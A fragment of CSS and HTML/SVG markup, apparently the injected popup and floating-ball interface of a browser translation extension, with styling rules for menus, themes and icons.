tooltip-slide-right{from{transform:translate(-0.75rem,-50%);opacity:0}to{transform:translate(0.25rem,-50%);opacity:1}}@keyframes tooltip-caret-slide-right{from{opacity:0}50%{transform:translate(-0.05rem,-50%);opacity:0}to{transform:translate(-0.3rem,-50%);opacity:1}}[aria-controls]{cursor:pointer}[aria-disabled="true"],[disabled]{cursor:not-allowed}[aria-hidden="false"][hidden]{display:initial}[aria-hidden="false"][hidden]:not(:focus){clip:rect(0,0,0,0);position:absolute}a,area,button,input,label,select,summary,textarea,[tabindex]{-ms-touch-action:manipulation}[dir="rtl"]{direction:rtl}@media (prefers-reduced-motion:reduce){*:not([aria-busy="true"]),:not([aria-busy="true"])::before,:not([aria-busy="true"])::after{background-attachment:initial!important;animation-duration:1ms!important;animation-delay:-1ms!important;animation-iteration-count:1!important;scroll-behavior:auto!important;transition-delay:0s!important;transition-duration:0s!important}}#mount#mount{--primary:#ea4c89;--primary-hover:#f082ac;--icon-xia:url(data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KPGcgaWQ9IkZyYW1lIj4KPHBhdGggaWQ9IlZlY3RvciIgZD0iTTguMDAyOTEgOS42Nzk4M0wzLjgzMzM5IDUuNTEyMjFMMy4wMjUzOSA2LjMxOTgzTDguMDAzMjkgMTEuMjk1MUwxMi45NzYyIDYuMzE5ODNMMTIuMTY3OSA1LjUxMjIxTDguMDAyOTEgOS42Nzk4M1oiIGZpbGw9IiM4MzgzODMiLz4KPC9nPgo8L3N2Zz4K);--switch-checked-background-color:var(--primary)}li.select-link.select-link:hover>ul{display:none}li.select-link.select-link>ul{display:none}li.select-link.select-link a:focus~ul{display:none}li.select-link.select-link a:active~ul{display:none}li.select-link-active.select-link-active>ul{display:flex}li.select-link-active.select-link-active:hover>ul{display:flex}li.select-link-active.select-link-active a:focus~ul{display:flex}li.select-link-active.select-link-active a:active~ul{display:flex}ul.select-link-ul.select-link-ul{right:0px;left:auto}a.select-link-selected{background-color:var(--primary-focus)}.immersive-translate-no-select{-webkit-touch-callout:none;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}li[role="list"].no-arrow{margin-left:8px;padding-right:0}li[role="list"]>a::after{-webkit-margin-start:0.2rem;margin-inline-start:0.2rem}li[role="list"].no-arrow>a,li[role="list"].no-arrow>a:link,li[role="list"].no-arrow>a:visited{color:var(--secondary)}select.min-select{--form-element-spacing-horizontal:0;margin-bottom:4px;max-width:128px;overflow:hidden;color:var(--primary);font-size:13px;border:none;padding:0;padding-right:20px;padding-left:8px;text-overflow:ellipsis;color:var(--color)}select.min-select-secondary{color:var(--color)}select.min-select:focus{outline:none;border:none;--box-shadow:none}select.min-select-no-arrow{background-image:none;padding-right:0}select.min-select-left{padding-right:0px;text-overflow:ellipsis;text-align:left}.muted{color:var(--muted-color)}.select.button-select{--background-color:var(--secondary-hover);--border-color:var(--secondary-hover);--color:var(--secondary-inverse);cursor:pointer;--box-shadow:var(--button-box-shadow,0 0 0 rgba(0,0,0,0));padding:var(--form-element-spacing-vertical) var(--form-element-spacing-horizontal);border:var(--border-width) solid var(--border-color);border-radius:var(--border-radius);outline:none;background-color:var(--background-color);box-shadow:var(--box-shadow);color:var(--color);font-weight:var(--font-weight);font-size:16px;line-height:var(--line-height);text-align:center;cursor:pointer;transition:background-color var(--transition),border-color var(--transition),color var(--transition),box-shadow var(--transition);-webkit-appearance:button;margin:0;margin-bottom:0px;overflow:visible;font-family:inherit;text-transform:none}html{font-size:16px;--font-size:16px}body{padding:0;margin:0 auto;min-width:268px;border-radius:10px}.popup-container{color:#666;background-color:var(--popup-footer-background-color);width:316px;min-width:316px}.popup-content{background-color:var(--popup-content-background-color);border-radius:0px 0px 12px 12px;padding:16px 20px}.immersive-translate-popup-overlay{position:fixed;top:0;left:0;height:100%;width:100%;touch-action:none}.immersive-translate-popup-wrapper{background:var(--background-color);border-radius:10px;border:1px solid var(--muted-border-color)}#mount#mount{--font-family:system-ui,-apple-system,"Segoe UI","Roboto","Ubuntu","Cantarell","Noto Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--line-height:1.5;--font-weight:400;--font-size:16px;--border-radius:4px;--border-width:1px;--outline-width:3px;--spacing:16px;--typography-spacing-vertical:24px;--block-spacing-vertical:calc(var(--spacing)*2);--block-spacing-horizontal:var(--spacing);--grid-spacing-vertical:0;--grid-spacing-horizontal:var(--spacing);--form-element-spacing-vertical:12px;--form-element-spacing-horizontal:16px;--nav-element-spacing-vertical:16px;--nav-element-spacing-horizontal:8px;--nav-link-spacing-vertical:8px;--nav-link-spacing-horizontal:8px;--form-label-font-weight:var(--font-weight);--transition:0.2s ease-in-out;--modal-overlay-backdrop-filter:blur(4px)}[data-theme="light"],#mount:not([data-theme="dark"]){--popup-footer-background-color:#e8eaeb;--popup-content-background-color:#ffffff;--popup-item-background-color:#f3f5f6;--popup-item-hover-background-color:#eaeced;--popup-trial-pro-background-color:#F9FBFC;--text-black-2:#222222;--text-gray-2:#222222;--text-gray-6:#666666;--text-gray-9:#999999;--text-gray-c2:#c2c2c2;--service-select-content-shadow:0px 2px 12px 0px rgba(75,76,77,0.20);--service-select-border-color:#FAFAFA;--service-select-selected-background-color:#F3F5F6}@media only screen and (prefers-color-scheme:dark){#mount:not([data-theme="light"]){--popup-footer-background-color:#0d0d0d;--popup-content-background-color:#191919;--popup-item-background-color:#272727;--popup-item-hover-background-color:#333333;--popup-trial-pro-background-color:#222222;--text-black-2:#ffffff;--text-gray-2:#dbdbdb;--text-gray-6:#b3b3b3;--text-gray-9:#777777;--text-gray-c2:#5b5b5b;--service-select-content-shadow:0px 2px 12px 0px rgba(0,0,0,0.90);--service-select-border-color:#2C2C2C;--service-select-selected-background-color:#333333}}[data-theme="dark"]{--popup-footer-background-color:#0d0d0d;--popup-content-background-color:#191919;--popup-item-background-color:#272727;--popup-item-hover-background-color:#333333;--popup-trial-pro-background-color:#222222;--text-black-2:#ffffff;--text-gray-2:#dbdbdb;--text-gray-6:#b3b3b3;--text-gray-9:#777777;--text-gray-c2:#5b5b5b;--service-select-content-shadow:0px 2px 12px 0px rgba(0,0,0,0.90);--service-select-border-color:#2C2C2C;--service-select-selected-background-color:#333333}.text-balck{color:var(--text-black-2)}.text-gray-2{color:var(--text-gray-2)}.text-gray-6{color:var(--text-gray-6)}.text-gray-9{color:var(--text-gray-9)}.text-gray-c2{color:var(--text-gray-c2)}#mount{min-width:268px}.main-button{font-size:15px;vertical-align:middle;border-radius:12px;padding:unset;height:44px;line-height:44px}.pt-4{padding-top:16px}.p-2{padding:8px}.pl-5{padding-left:48px}.p-0{padding:0}.pl-2{padding-left:8px}.pl-4{padding-left:24px}.pt-2{padding-top:8px}.pb-2{padding-bottom:8px}.pb-4{padding-bottom:16px}.pb-5{padding-bottom:20px}.pr-5{padding-right:48px}.text-sm{font-size:13px}.text-base{font-size:16px}.w-full{width:100%}.flex{display:flex}.flex-row{flex-direction:row}.flex-wrap{flex-wrap:wrap}.flex-end{justify-content:flex-end}.flex-grow{flex-grow:1}.justify-between{justify-content:space-between}.mb-0{margin-bottom:0px}.mb-2{margin-bottom:8px}.mb-4{margin-bottom:16px}.mb-3{margin-bottom:12px}.inline-block{display:inline-block}.py-2{padding-top:8px;padding-bottom:8px}.py-2-5{padding-top:6px;padding-bottom:6px}.mt-0{margin-top:0}.mt-2{margin-top:8px}.mt-3{margin-top:12px}.mt-4{margin-top:16px}.mt-5{margin-top:20px}.mt-6{margin-top:24px}.mb-1{margin-bottom:4px}.ml-4{margin-left:24px}.ml-3{margin-left:16px}.ml-2{margin-left:8px}.ml-1{margin-left:4px}.mr-1{margin-right:4px}.mr-2{margin-right:8px}.mr-3{margin-right:16px}.mx-2{margin-left:8px;margin-right:8px}.pl-3{padding-left:12px}.pr-3{padding-right:12px}.p-3{padding:12px}.px-1{padding-left:4px;padding-right:4px}.px-3{padding-left:12px;padding-right:12px}.pt-3{padding-top:12px}.px-6{padding-left:18px;padding-right:18px}.px-4{padding-left:16px;padding-right:16px}.pt-6{padding-top:20px}.py-3{padding-top:12px;padding-bottom:12px}.py-0{padding-top:0;padding-bottom:0}.left-auto{left:auto!important}.max-h-28{max-height:112px}.max-h-30{max-height:120px}.overflow-y-scroll{overflow-y:scroll}.text-xs{font-size:12px}.flex-1{flex:1}.flex-3{flex:3}.flex-4{flex:4}.flex-2{flex:2}.items-center{align-items:center}.max-content{width:max-content}.justify-center{justify-content:center}.items-end{align-items:flex-end}.items-baseline{align-items:baseline}.my-5{margin-top:48px;margin-bottom:48px}.my-4{margin-top:24px;margin-bottom:24px}.my-3{margin-top:16px;margin-bottom:16px}.pt-3{padding-top:12px}.px-3{padding-left:12px;padding-right:12px}.pt-2{padding-top:8px}.px-2{padding-left:8px;padding-right:8px}.pt-1{padding-top:4px}.px-1{padding-left:4px;padding-right:4px}.pb-2{padding-bottom:8px}.justify-end{justify-content:flex-end}.w-auto{width:auto}.shrink-0{flex-shrink:0}select.language-select,select.translate-service,select.min-select{--form-element-spacing-horizontal:0;margin-bottom:0px;max-width:unset;flex:1;overflow:hidden;font-size:13px;border:none;border-radius:8px;padding-right:30px;padding-left:0px;background-position:center right 12px;background-size:16px auto;background-image:var(--icon-xia);text-overflow:ellipsis;color:var(--text-gray-2);background-color:transparent;box-shadow:unset!important;cursor:pointer}select.more{background-position:center right;padding-right:20px}select.transform-padding-left{padding-left:12px;transform:translateX(-12px);background-position:center right 0px}select.translate-service{color:var(--text-black-2)}@media (prefers-color-scheme:dark){select.language-select option,select.translate-service option,select.min-select option{background-color:#666666}}.text-overflow-ellipsis{text-overflow:ellipsis;overflow:hidden;white-space:nowrap}.max-w-20{max-width:180px;white-space:nowrap}select.min-select-secondary{color:var(--color)}select.min-select:focus{outline:none;border:none;--box-shadow:none}select.min-select-no-arrow{background-image:none;padding-right:0}select.min-select-left{padding-right:0px;text-overflow:ellipsis;text-align:left}.popup-footer{background-color:var(--popup-footer-background-color);height:40px}.text-right{text-align:right}.clickable{cursor:pointer}.close{cursor:pointer;width:16px;height:16px;background-image:var(--icon-close);background-position:center;background-size:auto 1rem;background-repeat:no-repeat;opacity:0.5;transition:opacity var(--transition)}.padding-two-column{padding-left:40px;padding-right:40px}.muted{color:#999}.text-label{color:#666}.display-none{display:none}@media (prefers-color-scheme:dark){.text-label{color:#9ca3af}}.text-decoration-none{text-decoration:none}.text-decoration-none:is([aria-current],:hover,:active,:focus),[role="link"]:is([aria-current],:hover,:active,:focus){--text-decoration:none!important;background-color:transparent!important}.language-select-container{position:relative;width:100%;background-color:var(--popup-item-background-color);height:55px;border-radius:12px}select.language-select{color:var(--text-black-2);font-size:14px;padding:8px 24px 24px 16px;position:absolute;border-radius:12px;position:absolute;left:0;right:0;top:0;bottom:0}select.text-gray-6{color:var(--text-gray-6)}.language-select-container label{position:absolute;bottom:10px;left:16px;font-size:12px;color:var(--text-gray-9);line-height:12px;margin:0}.translation-service-container{background-color:var(--popup-item-background-color);border-radius:12px}.min-select-container{display:flex;justify-content:space-between;align-items:center;height:44px;background-color:var(--popup-item-background-color);padding-left:16px}.min-select-container:first-child{border-top-left-radius:10px;border-top-right-radius:10px}.min-select-container:last-child{border-bottom-left-radius:10px;border-bottom-right-radius:10px}.min-select-container:only-child{border-radius:10px}.translate-mode{width:44px;height:44px;border-radius:22px;background-color:var(--popup-item-background-color);display:flex;align-items:center;justify-content:center;flex-shrink:0;cursor:pointer}.translate-mode svg{fill:var(--text-gray-2)}.widgets-container{display:flex;align-items:center;justify-content:space-between}.widgets-container>:not(:last-child){margin-right:8px}.widget-item{display:flex;align-items:center;justify-content:center;background-color:var(--popup-item-background-color);font-size:12px;height:44px;border-radius:8px;cursor:pointer;flex:1}.widget-item svg{fill:var(--text-gray-2)}.setting svg{fill:var(--text-gray-6)}.share-button-container{display:flex;align-items:center;cursor:pointer;padding:2px 3px 0 8px}.share-button-container svg{fill:var(--text-gray-9)}.min-select-container:hover,.language-select-container:hover,.widget-item:hover,.translate-mode:hover{background-color:var(--popup-item-hover-background-color)}.main-button:hover{background-color:#f5508f}.share-button-container:hover{background-color:var(--popup-item-background-color);border-radius:6px}.error-boundary{background:#fff2f0;border:1px solid #ffccc7;display:flex;padding:12px;font-size:14px;color:rgba(0,0,0,0.88);word-break:break-all;margin:12px;border-radius:12px;flex-direction:column}.upgrade-pro{border-radius:11px;background:linear-gradient(57deg,#272727 19.8%,#696969 82.2%);padding:2px 8px;transform:scale(0.85)}.upgrade-pro span{background:linear-gradient(180deg,#FFEAB4 17.65%,#F8C235 85.29%);background-clip:text;-webkit-background-clip:text;-webkit-text-fill-color:transparent;font-size:12px;margin-left:4px}.upgrade-pro svg{margin-top:-2px}.upgrade-pro:hover{background:linear-gradient(57deg,#3D3D3D 19.8%,#949494 82.2%)}.border-bottom-radius-0{border-bottom-left-radius:0!important;border-bottom-right-radius:0!important}.trial-pro-container{border-radius:0px 0px 12px 12px;background:var(--popup-trial-pro-background-color);display:flex;align-items:center;height:44px;padding-left:16px;padding-right:12px;font-size:12px}.trial-pro-container label{line-height:13px;color:var(--text-black-2)}.trial-pro-container img{margin-left:5px}.cursor-pointer{cursor:pointer}.upgrade-pro-discount-act{height:25px;display:flex;padding:0 4px;align-items:center;border-radius:15px;background:linear-gradient(90deg,#CEFBFA 11.33%,#D7F56F 63.75%,#FCCD5E 100%);transform:scale(0.9);box-shadow:0px 1.8px 3.6px 0px rgba(0,0,0,0.10);cursor:pointer}.upgrade-pro-discount-act span{font-size:12px;font-weight:700;margin-left:4px;color:#222222}.upgrade-pro-discount-act:hover{text-decoration:unset;background:linear-gradient(90deg,#E2FFFE 11.33%,#E6FF91 63.75%,#FFDF93 100%)}.custom-select-container{width:200px;position:relative;flex:1}.custom-select-content{border-radius:12px;background:var(--popup-content-background-color);box-shadow:var(--service-select-content-shadow);border:1px solid var(--service-select-border-color);padding:4px 5px;position:absolute;left:0;right:0;z-index:100;overflow-y:auto}.custom-select-item{font-size:13px;padding:5px 6px;border-radius:8px;display:flex;align-items:center;cursor:pointer;color:var(--text-black-2);width:100%;overflow:hidden;height:30px;line-height:30px}.custom-select-item-img{width:20px;height:20px;margin-right:4px}@media (prefers-color-scheme:dark){.custom-select-item-img{margin-right:6px}}.custom-select-content .custom-select-item.selected,.custom-select-content .custom-select-item:hover{background:var(--service-select-selected-background-color)}.custom-select-item>span{white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.custom-select-item-pro{font-size:12px;margin-left:6px}.custom-select-item-pro img{margin:0 3px;width:20px}html{font-size:17px}#mount#mount{position:absolute;display:none;min-width:250px;height:auto;--font-size:17px;font-size:17px}.imt-fb-container{position:fixed;padding:0;z-index:2147483647;top:335px;width:56px;display:flex;flex-direction:column;display:none}.imt-fb-container.left{align-items:flex-start;left:0}.imt-fb-container.right{align-items:flex-end;right:0}.imt-fb-btn{cursor:pointer;background:linear-gradient(320.9deg,#db3b7b 26.47%,#ffcee2 88.86%);height:36px;width:56px;box-shadow:2px 6px 10px 0px #0e121629}.imt-fb-btn.left{border-top-right-radius:36px;border-bottom-right-radius:36px}.imt-fb-btn.right{border-top-left-radius:36px;border-bottom-left-radius:36px}.imt-fb-btn div{background:linear-gradient(140.91deg,#ff87b7 12.61%,#ec4c8c 76.89%);height:34px;width:54px;margin:1px;display:flex;align-items:center}.imt-fb-btn.left div{border-top-right-radius:34px;border-bottom-right-radius:34px;justify-content:flex-end}.imt-fb-btn.right div{border-top-left-radius:34px;border-bottom-left-radius:34px}.imt-fb-logo-img{width:20px;height:20px;margin:0 10px}.imt-float-ball-translated{position:absolute;width:11px;height:11px;bottom:4px;right:20px}.btn-animate{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);-webkit-transition:-webkit-transform ease-out 250ms;transition:-webkit-transform ease-out 250ms;transition:transform ease-out 250ms;transition:transform ease-out 250ms,-webkit-transform ease-out 250ms}.imt-fb-setting-btn{margin-right:18px;width:28px;height:28px}.immersive-translate-popup-wrapper{background:var(--background-color);border-radius:20px;box-shadow:2px 10px 24px 0px #0e121614;border:none}.popup-container{border-radius:20px}.popup-content{border-radius:20px 20px 12px 12px}.popup-footer{border-radius:20px}.imt-fb-close-content{padding:22px;width:320px}.imt-fb-close-title{font-weight:500;color:var(--h2-color)}.imt-fb-close-radio-content{background-color:var(--background-light-green);padding:8px 20px}.imt-fb-radio-sel,.imt-fb-radio-nor{width:16px;height:16px;border-radius:8px;flex-shrink:0}.imt-fb-radio-sel{border:2px solid var(--primary);display:flex;align-items:center;justify-content:center}.imt-fb-radio-sel div{width:8px;height:8px;border-radius:4px;background-color:var(--primary)}.imt-fb-radio-nor{border:2px solid #d3d4d6}.imt-fb-primary-btn{background-color:var(--primary);width:72px;height:32px;color:white;border-radius:8px;text-align:center;line-height:32px;font-size:16px;cursor:pointer}.imt-fb-default-btn{border:1px solid var(--primary);width:72px;height:32px;border-radius:8px;color:var(--primary);line-height:32px;text-align:center;font-size:16px}.imt-fb-guide-container{width:312px;transform:translateY(-50%)}.imt-fb-guide-bg{position:absolute;left:0;right:0;top:0;bottom:0;z-index:-1;height:100%;width:100%}.imt-fb-guide-bg.left{transform:scaleX(-1)}.imt-fb-guide-content{margin:16px 32px 60px 21px;display:flex;flex-direction:column;align-items:center}.imt-fb-guide-content.left{margin:16px 21px 60px 32px}.imt-fb-guide-img{width:235px;height:171px;margin-top:16px}.imt-fb-guide-message{font-size:16px;line-height:28px;color:#333333;white-space:pre-wrap;text-align:center;font-weight:700;margin-top:10px}.imt-fb-guide-button{margin-top:16px;line-height:40px;height:40px;padding:0 20px;width:unset}.imt-fb-more-buttons{box-shadow:0px 2px 10px 0px #00000014;border:1px solid var(--float-ball-more-button-border-color);background:var(--float-ball-more-button-background-color);width:36px;display:flex;flex-direction:column;border-radius:18px;margin-right:8px}.imt-fb-more-button{width:36px;height:36px;display:flex;align-items:center;justify-content:center;cursor:pointer}.immersive-translate-sheet{position:fixed;transform:translateY(100%);left:0;right:0;background-color:white;transition:transform 0.3s ease-out;box-shadow:0px -2px 10px rgba(0,0,0,0.1);bottom:0;border-top-left-radius:16px;border-top-right-radius:16px;overflow:hidden}.immersive-translate-sheet.visible{transform:translateY(0)}.immersive-translate-sheet-backdrop{position:fixed;top:0;left:0;right:0;bottom:0;background-color:rgba(0,0,0,0.5);opacity:0;transition:opacity 0.3s ease-out}.immersive-translate-sheet-backdrop.visible{opacity:1}.popup-container-sheet{max-width:100vw;width:100vw}.imt-no-events svg *{pointer-events:none!important}.imt-manga-button{width:36px;display:flex;flex-direction:column;position:relative;align-items:center;justify-content:center;cursor:pointer;pointer-events:all;margin:12px 0 0 0;background-color:white;border-radius:18px;filter:drop-shadow(0px 2px 10px rgba(0,0,0,0.08));opacity:0.5;right:8px}.imt-manga-feedback{cursor:pointer;margin:10px 9px 12px 9px}.imt-manga-button:hover{opacity:1}.imt-manga-translated{position:absolute;left:24px;top:20px}.imt-float-ball-loading{animation:imt-loading-animation 0.6s infinite linear!important}.imt-manga-guide-bg{position:absolute;left:0;right:0;top:0;bottom:0;z-index:-1;width:372px;transform:translateY(-50%)}.imt-manga-guide-content{position:absolute;top:15px;left:0;right:0;margin:0 40px 0}.img-manga-guide-button{width:fit-content;margin:16px auto}.img-manga-close{position:absolute;bottom:-200px;width:32px;height:32px;left:0;right:0;margin:auto;cursor:pointer}@-webkit-keyframes imt-loading-animation{from{-webkit-transform:rotate(0deg)}to{-webkit-transform:rotate(359deg)}}@keyframes imt-loading-animation{from{transform:rotate(0deg)}to{transform:rotate(359deg)}}</style><div id=mount style=display:block><div class="imt-fb-container right notranslate" dir=ltr style=z-index:2147483647;pointer-events:none;top:525px;display:flex><div title=关闭悬浮球 class=btn-animate style=transform:translateX(100%);padding:4px;cursor:pointer><svg width=14 height=14 viewBox="0 0 14 14" fill=none xmlns=http://www.w3.org/2000/svg><g clip-path=url(#clip0_2589_9951)><path d="M7 14C5.14348 14 3.36301 13.2625 2.05025 11.9497C0.737498 10.637 0 8.85652 0 7C0 5.14348 0.737498 3.36301 2.05025 2.05025C3.36301 0.737498 5.14348 0 7 0C8.85652 0 10.637 0.737498 11.9497 2.05025C13.2625 3.36301 14 5.14348 14 7C14 8.85652 13.2625 10.637 11.9497 11.9497C10.637 13.2625 8.85652 14 7 14ZM4.183 5.064L6.118 7L4.183 8.936C4.12409 8.99361 4.07719 9.06234 4.04502 9.1382C4.01285 9.21406 3.99605 9.29554 3.99559 9.37794C3.99513 9.46034 4.01101 9.54201 4.04234 9.61823C4.07366 9.69444 4.11978 9.76369 4.17805 9.82195C4.23631 9.88022 4.30556 9.92634 4.38177 9.95766C4.45799 9.98898 4.53966 10.0049 4.62206 10.0044C4.70446 10.004 4.78594 9.98715 4.8618 9.95498C4.93766 9.92281 5.00639 9.87591 5.064 9.817L7 7.882L8.936 9.817C9.05327 9.93168 9.21104 9.99548 9.37506 9.99457C9.53908 9.99365 9.69612 9.92809 9.8121 9.8121C9.92809 9.69612 9.99365 9.53908 9.99457 9.37506C9.99548 9.21104 9.93168 9.05327 9.817 8.936L7.882 7L9.817 5.064C9.87591 5.00639 9.92281 4.93766 9.95498 4.8618C9.98715 4.78594 10.004 4.70446 10.0044 4.62206C10.0049 4.53966 9.98898 4.45799 9.95766 4.38177C9.92634 4.30556 9.88022 4.23631 9.82195 4.17805C9.76369 4.11978 9.69444 4.07366 9.61823 4.04234C9.54201 4.01101 9.46034 3.99513 9.37794 3.99559C9.29554 3.99605 9.21406 4.01285 9.1382 4.04502C9.06234 4.07719 8.99361 4.12409 8.936 4.183L7 6.118L5.064 4.183C4.94673 4.06832 4.78896 4.00452 4.62494 4.00543C4.46092 4.00635 4.30388 4.07191 4.1879 4.1879C4.07191 4.30388 4.00635 4.46092 4.00543 4.62494C4.00452 4.78896 4.06832 4.94673 4.183 5.064Z" fill=#B1B1B1 fill-opacity=0.32></path></g><defs><clippath id=clip0_2589_9951><rect width=14 height=14 fill=white></rect></clippath></defs></svg></div><div style=position:relative;pointer-events:all;display:inline-block><div><div class="imt-fb-btn right btn-animate" dir=ltr style=transform:translateX(20px);opacity:0.5><div><svg xmlns=http://www.w3.org/2000/svg viewBox="0 0 24 24" width=24 height=24 class=imt-fb-logo-img><path fill=none d="M0 0h24v24H0z"></path><path d="M5 15v2a2 2 0 0 0 1.85 1.995L7 19h3v2H7a4 4 0 0 1-4-4v-2h2zm13-5l4.4 11h-2.155l-1.201-3h-4.09l-1.199 3h-2.154L16 10h2zm-1 2.885L15.753 16h2.492L17 12.885zM8 2v2h4v7H8v3H6v-3H2V4h4V2h2zm9 1a4 4 0 0 1 4 4v2h-2V7a2 2 0 0 0-2-2h-3V3h3zM6 6H4v3h2V6zm4 0H8v3h2V6z" fill=rgba(255,255,255,1)></path></svg><svg hidden class=imt-float-ball-translated width=11 height=11 viewBox="0 0 11 11" fill=none xmlns=http://www.w3.org/2000/svg><circle cx=5.5 cy=5.5 r=5.5 fill=#68CD52></circle><path d="M1.40857 5.87858L2.24148 5.18962L4.15344 6.64214C4.15344 6.64214 6.33547 4.15566 9.00658 2.48145L9.32541 2.87514C9.32541 2.87514 6.28665 5.55844 4.71735 9.07881L1.40857 5.87858Z" fill=white></path></svg></div></div></div></div><div hidden class="imt-manga-button imt-no-events btn-animate sf-hidden" id=manga-button style=transform:translateX(8px)><svg width=32 height=32 viewBox="0 0 32 32" fill=none xmlns=http://www.w3.org/2000/svg><g id=manhua><path id=Vector d="M14.8853 4.92364C14.8853 4.92364 16.3905 10.4362 22.6668 4C22.6668 4 20.3381 10.8907 25.3364 10.0843C25.3364 10.0843 22.0563 15.6994 29 18.0599C29 18.0599 22.9934 19.306 21.1617 28C21.1617 28 17.7679 24.54 14.8853 27.3549C14.8853 27.3549 13.3233 23.5724 7.33097 26.27C7.33097 26.27 10.1141 20.6549 4.83179 21.0507C4.83179 21.0507 7.16057 18.8955 3 15.9047C3 15.9047 7.50137 16.1833 6.33697 11.7117C6.33697 11.7117 10.0005 12.3421 8.66576 6.82957C8.65156 6.81491 12.4855 9.80574 14.8853 4.92364Z" fill=#EA4C89></path><path id=Vector_2 d="M20.8599 13.7022C20.885 13.1361 20.9543 12.5713 20.9959 12.0052C21.0337 11.568 20.8107 11.2794 20.3876 11.18C20.0759 11.1013 19.7508 11.0867 19.433 11.137C19.1951 11.1945 18.9542 11.2396 18.7113 11.2721C18.2403 11.3028 17.9973 11.5275 17.9796 11.988C17.977 12.0833 17.9596 12.1777 17.928 12.268C17.3034 13.9102 16.6774 15.5499 16.0503 17.1873C16.0301 17.2401 16.0062 17.2904 15.9671 17.3776C15.7291 16.8975 15.4281 16.4898 15.2745 15.9986C14.8073 14.5152 14.3186 13.033 13.8312 11.5594C13.6826 11.1112 13.3489 10.9344 12.8754 11.0216C12.7889 11.0365 12.7008 11.0398 12.6134 11.0314C12.2241 10.9938 11.8311 11.0404 11.4623 11.1677C11.0946 11.2991 10.9498 11.557 11.0152 11.9254C11.0428 12.0371 11.0643 12.1503 11.0795 12.2643C11.1223 13.1902 11.1777 14.1087 11.2054 15.0321C11.257 16.7992 11.2117 18.5651 11.0858 20.3284C11.0644 20.6354 11.0304 20.9424 11.0228 21.2494C11.0115 21.6092 11.1613 21.7811 11.5266 21.8143C11.9976 21.8573 12.4711 21.8708 12.9421 21.9088C13.0309 21.9201 13.121 21.9003 13.1962 21.8528C13.2714 21.8053 13.3268 21.7334 13.3527 21.6497C13.3996 21.5394 13.4252 21.4216 13.4282 21.3022C13.4295 20.8258 13.4207 20.3493 13.4081 19.8741C13.393 19.3264 13.3917 18.7763 13.3438 18.231C13.2857 17.5839 13.266 16.934 13.2847 16.2847C13.2847 16.2466 13.291 16.2073 13.2985 16.1312C13.3338 16.2024 13.3514 16.2356 13.3665 16.2712C13.9017 17.5228 14.3617 18.8037 14.7443 20.1074C14.7928 20.2421 14.7928 20.3889 14.7443 20.5237C14.6322 20.8196 14.7141 21.037 14.9659 21.1377C15.4445 21.3268 15.9331 21.4926 16.4155 21.6731C16.4865 21.7033 16.566 21.7091 16.6408 21.6895C16.7157 21.6698 16.7815 21.6259 16.8273 21.565C16.9085 21.4643 16.9743 21.3526 17.0225 21.2335C17.0537 21.1374 17.0798 21.0399 17.1006 20.9412C17.3185 20.2425 17.5653 19.5499 17.7517 18.8438C17.9785 17.9723 18.2624 17.1158 18.6018 16.2798C18.6201 16.2439 18.6411 16.2094 18.6647 16.1766C18.6761 16.2319 18.6761 16.254 18.6761 16.2761C18.6345 17.59 18.5955 18.8978 18.5501 20.2056C18.5363 20.5949 18.491 20.9829 18.4809 21.3722C18.4721 21.705 18.6207 21.8708 18.9557 21.9002C19.4355 21.9432 19.9191 21.9592 20.4002 21.9973C20.4888 22.0079 20.5784 21.9875 20.653 21.9399C20.7277 21.8922 20.7827 21.8203 20.8082 21.7369C20.8531 21.6305 20.8766 21.5167 20.8775 21.4017C20.88 20.7668 20.8674 20.132 20.8674 19.4971C20.8662 19.2846 20.8687 19.0722 20.8523 18.8622C20.8158 18.3968 20.7264 17.9314 20.7339 17.4685C20.7515 16.2122 20.8044 14.9572 20.8599 13.7022Z" fill=white></path></g></svg><svg hidden class=imt-manga-translated width=11 height=11 viewBox="0 0 11 11" fill=none xmlns=http://www.w3.org/2000/svg><circle cx=5.5 cy=5.5 r=5.5 fill=#68CD52></circle><path d="M1.40857 5.87858L2.24148 5.18962L4.15344 6.64214C4.15344 6.64214 6.33547 4.15566 9.00658 2.48145L9.32541 2.87514C9.32541 2.87514 6.28665 5.55844 4.71735 9.07881L1.40857 5.87858Z" fill=white></path></svg><svg class=imt-float-ball-loading hidden width=19 height=19 viewBox="0 0 19 19" fill=none xmlns=http://www.w3.org/2000/svg style=margin:9px><path d="M9.42859 0C9.84288 0 10.1929 0.387143 10.1929 0.847143V3.99429C10.1929 4.45429 9.84431 4.84143 9.42859 4.84143C9.01431 4.84143 8.66431 4.45571 8.66431 3.99429V0.847143C8.66431 0.387143 9.01288 0 9.42859 0Z" fill=#E9E9E9></path><path d="M14.1301 1.38877C14.5158 1.62591 14.6301 2.12163 14.4258 2.52305L12.9515 5.19448C12.901 5.28714 12.8325 5.36876 12.75 5.43455C12.6675 5.50035 12.5727 5.54898 12.4712 5.5776C12.3696 5.60621 12.2634 5.61424 12.1586 5.60119C12.0539 5.58814 11.9529 5.55429 11.8615 5.50163C11.6787 5.38432 11.5468 5.20237 11.4923 4.9921C11.4377 4.78184 11.4645 4.55874 11.5672 4.36734L13.0415 1.69591C13.2686 1.29448 13.7443 1.15305 14.1301 1.38877Z" fill=#989697></path><path d="M17.4685 4.75707C17.5813 4.95451 17.6123 5.18824 17.5549 5.40825C17.4975 5.62826 17.3563 5.81705 17.1614 5.93422L14.4971 7.52564C14.0971 7.76993 13.6014 7.62422 13.3657 7.20707C13.2532 7.00994 13.2222 6.77667 13.2793 6.55702C13.3365 6.33737 13.4771 6.14874 13.6714 6.03136L16.3357 4.43993C16.7371 4.21993 17.2557 4.34136 17.4685 4.7585V4.75707Z" fill=#9B999A></path><path d="M18.8572 9.42835C18.8572 9.84263 18.47 10.1926 18.01 10.1926H14.8629C14.4029 10.1926 14.0157 9.84406 14.0157 9.42835C14.0157 9.01406 14.4029 8.66406 14.8629 8.66406H18.01C18.47 8.66406 18.8572 9.01263 18.8572 9.42835Z" fill=#A3A1A2></path><path d="M17.4686 14.1303C17.3515 14.3134 17.1697 14.4455 16.9594 14.5003C16.7491 14.5552 16.5259 